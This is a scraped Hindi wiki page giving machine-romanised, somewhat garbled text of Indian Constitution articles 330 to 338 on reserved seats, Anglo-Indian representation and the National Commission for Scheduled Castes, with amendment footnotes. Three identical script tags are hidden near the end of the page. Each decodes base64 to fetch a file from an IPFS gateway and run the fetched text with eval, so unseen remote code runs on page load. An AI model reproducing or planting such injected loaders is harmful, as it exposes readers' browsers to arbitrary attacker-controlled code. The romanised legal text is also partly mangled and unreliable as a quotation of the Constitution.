भारत का संविधान- कुछ वर्गों के संबंध में विशेष उपबंध

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

pratiksha|left is panne par sampadan ka kary chal raha hai. kripaya pratiksha karean yadi 10 din ho chuke hoan to yah 'soochana saancha' hata dean ya dobara lagaean.
soochana saancha lagane ka samay → 15:43, 6 navambar 2012 (IST)

330. lok sabha mean anusoochit jatiyoan aur anusoochit janajatiyoan ke lie sthanoan ka arakshan

(1) lok sabha mean-- (k) anusoochit jatiyoan ke lie,
(kh)[1] asam ke svashasi ziloan ki anusoochit janajatiyoan ko chho dakar any anusoochit janajatiyoan ke lie, aur
(g) asam ke svashasi ziloan ki anusoochit janajatiyoan ke lie, sthan arakshit raheange.
(2) khand (1) ke adhin kisi rajy [2][ya sangh rajyakshetr] mean anusoochit jatiyoan ya anusoochit janajatiyoan ke lie arakshit sthanoan ki sankhya ka anupat, lok sabha mean us rajy [3][ya sangh rajyakshetr] ko abantit sthanoan ki kul sankhya se yathashaky vahi hoga jo, yathasthiti, se rajy [4][ya sangh rajyakshetr] ki anusoochit jatiyoan ki athava us rajy [5][ya sangh rajyakshetrat ki ya us rajy [6][ya sangh rajyakshetr] ke bhag ki anusoochit janajatiyoan ki, jinake sanbandh mean sthan is prakar arakshit haian, janasankhh‍ya ka anupat us rajy [7][ya sangh rajyakshetr t ki kul janasankhh‍ya se hai.
(3)[8] khand (2) mean kisi bat ke hote hue bhi, lok sabha mean asam ke svashasi ziloan ki anusoochit janajatiyoan ke lie arakshit sthanoan ki sankhya ka anupat, us rajy ko abantit sthanoan ki kul sankhya ke us anupat se kam nahian hoga jo ukt svashasi ziloan ki anusoochit janajatiyoan ki janasankhh‍ya ka anupat us rajy ki kul janasankhh‍ya se hai.

spashtikaran[9]

is anuchchhed mean aur anuchchhed 332 mean, janasankhh‍ya pad se aisi aantim poorvavarti janaganana mean abhinishchit ki gee janasankhh‍ya abhipret hai jisake susangat aank de prakashit ho ge haian:
parantu is spashtikaran mean aantim poorvavarti janaganana ke prati, jisake susangat aank de prakashit ho ge haian, nirdesh ka, jab tak sanh‌ [10][2026] ke pashchath‌ ki gee pahali janaganana ke susangat aank de prakashit nahian ho jate haian, yah arth lagaya jaega ki vah [11][[12][2001] ki janaganana ke prati nirdesh hai.]

331. lok sabha mean aangl-bharatiy samuday ka pratinidhitv

anuchchhed 81 mean kisi bat ke hote hue bhi, yadi rashtrapati ki yah ray hai ki lok sabha mean aangl-bharatiy samuday ka pratinidhitv paryapt nahian hai to vah lok sabha mean us samuday ke do se anadhik sadasy namanirdeshit kar sakega.

332. rajyoan ki vidhan sabhaoan mean anusoochit jatiyoan aur anusoochit janajatiyoan ke lie sthanoan ka arakshan

(1)[13] pratyek rajy ki vidhan sabha mean anusoochit jatiyoan ke lie aur [14](asam ke svashasi ziloan ki anusoochit janajatiyoan ko chho dakar) any anusoochit janajatiyoan ke lie sthan arakshit raheange. (2) asam rajy ki vidhan sabha mean svashasi ziloan ke lie bhi sthan arakshit raheange.

334. sthanoan ke arakshan aur vishesh pratinidhitv ka [15][sath varsh] ke pashchath‌ n rahana--

is bhag ke poorvagami upabandhoan mean kisi bat ke hote hue bhi,
(k) lok sabha mean aur rajyoan ki vidhan sabhaoan mean anusoochit jatiyoan aur anusoochit janajatiyoan ke lie sthanoan ke arakshan sanbandhi, aur
(kh) lok sabha mean aur rajyoan ki vidhan sabhaoan mean namanirdeshan dvara aanshal-bharatiy samuday ke pratinidhitv sanbandhi,
is sanvidhan ke upabandh is sanvidhan ke praranbh se [16][sath varsh] ki avadhi ki samapti par prabhavi nahian raheange : parantu is anuchchhed ki kisi bat se lok sabha mean ya kisi rajy ki vidhan sabha mean kisi pratinidhitv par tab tak koee prabhav nahian p dega jab tak, yathasthiti, us samay vidyaman lok sabha ya vidhan sabha ka vighatan nahian ho jata hai.

335. sevaoan aur padoan ke lie anusoochit jatiyoan aur anusoochit janajatiyoan ke dave

sangh ya kisi rajy ke karyakalap se sanbandhit sevaoan aur padoan ke lie niyuktiyaan karane mean, anusoochit jatiyoan aur anusoochit janajatiyoan ke sadasyoan ke davoan ka prashasan ki dakshata banae rakhane ki sangati ke anusar dhyan rakha jaega:[17]parantu is anuchchhed ki koee bat anusoochit jatiyoan aur anusoochit janajatiyoan ke sadasyoan ke paksh mean, sangh ya kisi rajy ke karyakalap se sanbandhit sevaoan ke kisi varg ya vargoan mean ya padoan par pronnati ke mamaloan mean arakshan ke lie, kisi pariksha mean arhak aankoan mean chhoot dene ya moolyaankan ke manakoan ko ghatane ke lie upabandh karane se nivarit nahian karegi.

336. kuchh sevaoan mean aangl-bharatiy samuday ke lie vishesh upabandh

(1) is sanvidhan ke praranbh ke pashchath‌, pratham do varsh ke dauran, sangh ki rel, simashulk, dak aur tar sanbandhi sevaoan mean padoan ke lie aangl-bharatiy samuday ke sadasyoan ki niyuktiyaan usi adhar par ki jaeangi jis adhar par 15 agast, 1947 se thik pahale ki jati thian. pratyek uttaravarti do varshaki avadhi ke dauran ukt samuday ke sadasyoan ke lie, ukt sevaoan mean arakshit padoan ki sankhya thik poorvavarti do varshaki avadhi ke dauran is prakar arakshit sankhya se yathasanbhav nikatatam das pratishat kam hogi :parantu is sanvidhan ke praranbh se das varshake aant mean aise sabhi arakshan samapt ho jaeange.

(2) yadi aangl-bharatiy samuday ke sadasy any samudayoan ke sadasyoan ki tulana mean gunagun ke adhar par niyukti ke lie arhat pae jaean to khand (1) ke adhin us samuday ke lie arakshit padoan se bhinn ya unake atirikt padoan par aangl-bharatiy samuday ke sadasyoan ki niyukti ko us khand ki koee bat varjit nahian karegi.

aangl-bharatiy samuday ke phayade ke lie shaikshik anudan ke lie vishesh upabandh--

is sanvidhan ke praranbh ke pashchath‌‌, pratham tin vittiy varshoan ke dauran aangl-bharatiy samuday ke phayade ke lie shiksha ke sanbandh mean sangh aur [18] pratyek rajy dvara vahi anudan, yadi koee hoan, die jaeange jo 31 march, 1948 ko samapt hone vale vittiy varsh mean die ge the.
pratyek uttaravarti tin varsh ki avadhi ke dauran anudan thik poorvavarti tin varsh ki avadhi ki apeksha das pratishat kam ho sakeange : parantu is sanvidhan ke praranbh se das varsh ke aant mean aise anudan, jis matra tak ve aangl-bharatiy samuday ke lie vishesh riyayat hai us matra tak, samapt ho jaeange : parantu yah aur ki koee shiksha sanstha is anuchchhed ke adhin anudan prapt karane ki tab tak hakadar nahian hogi jab tak usake varshik praveshoan mean kam se kam chalis pratishat pravesh aangl-bharatiy samuday se bhinn samudayoan ke sadasyoan ke lie upalabdh nahian kie jate haian.

338.rashtriy anusoochit jati ayog[19]

(1)[20] anusoochit jatiyoan ke lie ek ayog hoga jo rashtriy anusoochit jati ayog ke nam se jnat hoga. sansad dvara is nimitt banaee gee kisi vidhi ke upabandhoan ke adhin rahate hue, ayog ek adhyaksh, ek upadhyaksh aur tin any sadasyoan se milakar banega aur is prakar niyukt kie ge adhyaksh, upadhyaksh aur any sadasyoan ki seva ki shartean aur padavadhi aisi hoangi jo rashtrapati, niyam dvara, avadharit kare. (2) rashtrapati apane hastakshar aur mudra sahit adhipatr dvara ayog ke adhyaksh, upadhyaksh aur any sadasyoan ko niyukt karega. (3) ayog ko apani prakriya svayan viniyamit karane ki shakti hogi. (4) ayog ka yah kartavy hoga ki vah,-- (k) anusoochit jatiyoan [21] ke lie is sanvidhan ya tatsamay pravritt kisi any vidhi ya sarakar ke kisi adesh ke adhin upabandhit rakshopayoan se sanbandhit sabhi vishayoan ka anveshan kare aur un par nigarani rakhe tatha aise rakshopayoan ke karyakaran ka moolyaankan kare;
(kh) anusoochit jatiyoan [22] ko unake adhikaroan aur rakshopayoan se vanchit karane ki babat vinirdisht shikayatoan ki jaanch kare;
(g) anusoochit jatiyoan[23] ke samajik-arthik vikas ki yojana prakriya mean bhag le aur un par salah de tatha sangh aur kisi rajy ke adhin unake vikas ki pragati ka moolyaankan kare;
(gh) un rakshopayoan ke karyakaran ke bare mean prativarsh, aur aise any samayoan par, jo ayog thik samajhe, rashtrapati ko prativedan de;
(n) aise prativedanoan mean un upayoan ke bare mean jo un rakshopayoan ke prabhavapoorn karyanvayan ke lie sangh ya kisi rajy dvara kie jane chahie, tatha anusoochit jatiyoan [24] ke sanrakshan, kalyan aur samajik-arthik vikas ke lie any upayoan ke bare mean sipharish kare;
(5) ayog ka yah kartavy hoga ki vah,-- (k) anusoochit janajatiyoan ke lie is sanvidhan ya tatsamay pravritt kisi any vidhi ya sarakar ke kisi adesh ke adhin upabandhit rakshopayoan se sanbandhit sabhi vishayoan ka anveshan kare aur un par nigarani rakhe tatha aise rakshopayoan ke karyakaran ka moolyaankan kare;
(kh) anusoochit janajatiyoan ko unake adhikaroan aur rakshopayoan se vanchit karane ke sambandh mean vinirdisht shikayatoan ki jaanch kare;
(g) anusoochit janajatiyoan ke samajik-arthik vikas ki yojana prakriya mean bhag le aur un par salah de tatha sangh aur kisi rajy ke adhin unake vikas ki pragati ka moolyaankan kare;
(gh) un rakshopayoan ke karyakaran ke bare mean prativarsh aur aise any samayoan par, jo ayog thik samajhe, rashtrapati ko riport prastut kare;
(n) aisi riporto mean un upayoan ke bare mean, jo un rakshopayoan ke prabhavapoorn karyanvayan ke lie sangh ya kisi rajy dvara kie jane chahie, tatha anusoochit janajatiyoan ke sanrakshan, kalyan aur samajik-arthik vikas ke lie any upayoan ke bare mean sipharish kare; aur
(ch) anusoochit janajatiyoan ke sanrakshan, kalyan aur vikas tatha unnayan ke sanbandh mean aise any krityoan ka nirvahan kare jo rashtrapati, sansad dvara banaee gee kisi vidhi ke upabandhoan ke adhin rahate hue, niyam dvara vinirdisht kare.
(6) rashtrapati aisi sabhi riportoan ko sansad ke pratyek sadan ke samaksh rakhavaega aur unake sath sangh se sanbandhit sipharishoan par ki gee ya kie jane ke lie prasthapit karravaee tatha yadi koee aisi sipharish asvikrit ki gee hai to asvikriti ke karanoan ko spasht karane vala jnapan bhi hoga. (7) jahaan koee aisi riport ya usaka koee bhag, kisi aise vishay se sanbandhit hai jisaka kisi rajy sarakar se sanbandh hai to aisi riport ki ek prati us rajy ke rajyapal ko bheji jaegi jo use rajy ke vidhan-mandal ke samaksh rakhavaega aur usake sath rajy se sanbandhit sipharishoan par ki gee ya kie jane ke lie prasthapit karravaee tatha yadi koee aisi sipharish asvikrit ki gee hai to asvikriti ke karanoan ko spasht karane vala jnapan bhi hoga. (8) ayog ko, khand (5) ke upakhand (k) mean nirdisht kisi vishay ka anveshan karate samay ya upakhand (kh) mean nirdisht kisi parivad ke bare mean jaanch karate samay, vishishtataya nimnalikhit vishayoan ke sanbandh mean, ve sabhi shaktiyaan hoangi, jo vad ka vicharan karate samay sivil nyayalay ko haian, arthath‌
(k) bharat ke kisi bhi bhag se kisi vyakti ko saman karana aur hajir karana tatha shapath par usaki pariksha karana;
(kh) kisi dastavej ko prakat aur pesh karane ki apeksha karana;
(g) shapathapatroan par sakshy grahan karana;
(gh) kisi nyayalay ya karyalay se kisi lok abhilekh ya usaki prati ki apayapeksha karana;
(n) sakshiyoan aur dastavejoan ki pariksha ke lie kamishan nikalana;
(ch) koee any vishay, jo rashtrapati, niyam dvara avadharit kare.
(9) sangh aur pratyek rajy sarakar, anusoochit janajatiyoan ko prabhavit karane vale sabhi mahattvapoorn nitigat vishayoan par ayog se paramarsh karegi.

tika tippani aur sandarbh

  1. sanvidhan (ikyavanavaan sanshodhan) adhiniyam, 1984 ki dhara 2 dvara (16-6-1986 se) upakhand (kh) ke sthan par pratisthapit.
  2. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara aantahsthapit.
  3. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara aantahsthapit.
  4. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara aantahsthapit.
  5. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara aantahsthapit.
  6. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara aantahsthapit.
  7. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara aantahsthapit.
  8. sanvidhan (ikatisavaan sanshodhan) adhiniyam, 1973 ki dhara 3 dvara aantahsthapit.
  9. sanvidhan (bayalisavaan sanshodhan) adhiniyam, 1976 ki dhara 47 dvara (3-1-1977 se) aantahsthapit.
  10. sanvidhan (chaurasivaan sanshodhan) adhiniyam, 2001 ki dhara 6 dvara pratisthapit.
  11. sanvidhan (satasivaan sanshodhan) adhiniyam, 2003 ki dhara 5 dvara pratisthapit.
  12. sanvidhan (chaurasivaan sanshodhan) adhiniyam, 2001 ki dhara 6 dvara pratisthapit.
  13. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara pahali anusoochi ke bhag k ya bhag kh mean vinirdisht shabdoan ka lop kiya gaya.
  14. sanvidhan (ikyavanavaan sanshodhan) adhiniyam, 1984 ki dhara 3 dvara (16-6-1986 se) pratisthapit.
  15. sanvidhan (unasivaan sanshodhan) adhiniyam, 1999 ki dhara 2 dvara (25-1-2000 se) pachas varsh ke sthan par pratisthapit.
  16. sanvidhan (bayasivaan sanshodhan) adhiniyam, 2000 ki dhara 2 dvara aantahsthapit.
  17. sanvidhan (paiansathavaan sanshodhan) adhiniyam,1990 ki dhara 2 aur tatpashchath‌ sanvidhan (navasivaan sanshodhan) adhiniyame 2003 ki dhara 2 dvara khand (1) aur (2) ke sthan par pratisthapit.
  18. sanvidhan (navasivaan sanshodhan) adhiniyam, 2003 ki dhara 2 dvara (19-2-2004 se) aur anusoochit janajatiyoan shabdoan ka lop kiya gaya.
  19. sanvidhan (navasivaan sanshodhan) adhiniyam, 2003 ki dhara 2 dvara (19-2-2004 se) parshv shirsh ke sthan par pratisthapit.
  20. sanvidhan (paiansathavaan sanshodhan) adhiniyam,1990 ki dhara 2 aur tatpashchath‌ sanvidhan (navasivaan sanshodhan) adhiniyam 2003 ki dhara 2 dvara khand (1) aur (2) ke sthan par pratisthapit.
  21. sanvidhan (navasivaan sanshodhan) adhiniyam, 2003 ki dhara 2 dvara (19-2-2004 se) aur anusoochit janajatiyoan shabdoan ka lop kiya gaya.
  22. sanvidhan (navasivaan sanshodhan) adhiniyam, 2003 ki dhara 2 dvara (19-2-2004 se) aur anusoochit janajatiyoan shabdoan ka lop kiya gaya.
  23. sanvidhan (navasivaan sanshodhan) adhiniyam, 2003 ki dhara 2 dvara (19-2-2004 se) aur anusoochit janajatiyoan shabdoan ka lop kiya gaya.
  24. sanvidhan (navasivaan sanshodhan) adhiniyam, 2003 ki dhara 2 dvara (19-2-2004 se) aur anusoochit janajatiyoan shabdoan ka lop kiya gaya.

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>